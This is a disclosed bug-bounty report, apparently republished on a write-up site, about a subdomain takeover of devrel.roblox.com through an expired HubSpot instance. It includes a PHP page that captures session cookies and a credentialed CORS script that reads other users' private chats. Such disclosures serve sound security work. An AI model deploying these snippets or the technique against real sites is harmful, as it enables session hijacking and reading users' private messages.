Subdomain Takeover to Authentication bypass
An unclaimed HubSpot instance allowed an attacker to take over the devrel.roblox.com subdomain and serve content. This could let the attacker steal session cookies scoped to all Roblox subdomains and read private chat messages via a whitelisted CORS origin.
- Triaged in 18 hours
- Fixed in 18 hours
- Paid in 18 hours
- Disclosed after 2.0 years
Vulnerability Type:
Subdomain Takeover
Description:
Due to unclaimed or expired Hubspot instance an attacker is able to claim and serve content from devrel.roblox.com and perform different kind of attacks which i shared in impact section.
Affected Area:
Steps to Reproduce:

Mitigation:
- Remove the CNAME entry for the
devrel.roblox.com
Impact
Let's talk about about in details, as attacker could possible takeover other users account.
- As
.ROBLOSECURITYcookies is scoped to*.roblox.commeans same cookies shared with all other subdomain, i'm not much familiar with hubspot with hosting following code on will steal all the users cookie who visit this subdomain.

###steal_cookie.php
<html>
<body>
<?php
echo "Cookies received: <br>";
foreach ($_COOKIE as $key=>$val)
{
echo "Set-Cookie: $key=$val; Domain=.roblox.com; path=/<br>\n";
}
?>
</body>
</html>
- Also
devrel.roblox.comcan be used to read all the chats between other users asdevrel.roblox.comis also white listed to make CORS request atchat.roblox.com

Which can be done like this:
<h2>CORS To Read Chat</h2>
<div id="demo">
<button type="button" onclick="cors()">Chat Reader @ Roblox</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = document.write(this.responseText);
}
};
xhttp.open("GET", "https://chat.roblox.com/v2/get-messages?conversationId=469104576&pageSize=3", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
Apart form all above issue, attacker can do following things as well.
- Creating fake login page for credentials harvesting.
- Sharing malicious files using roblox.
- Creating mail account using GSuite to send and recived emails on behalf of
*@devrel.roblox.com
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a dangling CNAME record pointing to an expired HubSpot instance that was not removed.
Impact
An attacker could steal session cookies for all Roblox subdomains and read private chat messages, and could also host phishing pages or send emails from the subdomain.
What the attacker needed
Expired HubSpot instance; victim visits the subdomain
How it was found
- Visit the subdomain URL to see the takeover proof.
- Claim the expired HubSpot instance to serve content.
- Host a cookie-stealing page on the subdomain.
- Use the subdomain's CORS whitelist to read chat messages.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A subdomain takeover happens when a company points a subdomain to an external service but forgets to remove the DNS record after the service account expires. Anyone can then claim that service account and control what the subdomain shows. Here, because the stolen subdomain shares cookies with the main site and is trusted by another service, the attacker could impersonate users and read their chats.
What is Subdomain takeover?
A company's DNS still points at a cloud service it no longer uses, so anyone can claim it and serve content on the company's domain.